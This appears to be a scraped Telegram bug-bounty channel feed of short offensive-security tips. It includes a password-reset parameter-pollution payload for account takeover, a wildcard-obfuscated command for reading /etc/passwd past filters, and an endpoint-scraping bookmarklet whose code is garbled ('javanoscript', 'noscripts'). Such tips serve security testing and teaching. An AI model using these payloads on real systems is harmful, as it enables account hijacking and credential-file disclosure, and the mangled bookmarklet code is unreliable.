In the RESET-PASSWORD process, if the request's JSON allows adding values like an array:
it could be exploited to send the reset password link/code to an attacker's email, making it easy to take over the account.✅
{"email":["victim@test.com","attacker@test.com"]}it could be exploited to send the reset password link/code to an attacker's email, making it easy to take over the account.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤5
Forwarded from Brut Security
Use shell globbing / wildcard expansion. Here is an example
cat /e*c/p*s*d cat /etc/passwd. But how? Before cat runs, the shell expands the glob pattern /e*c/p*s*d to match actual files and directories in the filesystem.
/e*c:
/p*s*d:Please open Telegram to view this post
VIEW IN TELEGRAM
❤1🔥1
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3
Common OAuth Vulnerabilities · Doyensec's Blog
https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
🔥3
Forwarded from Brut Security
javanoscript:(function(){var noscripts=document.getElementsByTagName("noscript"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0–9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i<noscripts.length;i++){var t=noscripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();Please open Telegram to view this post
VIEW IN TELEGRAM
❤3👍2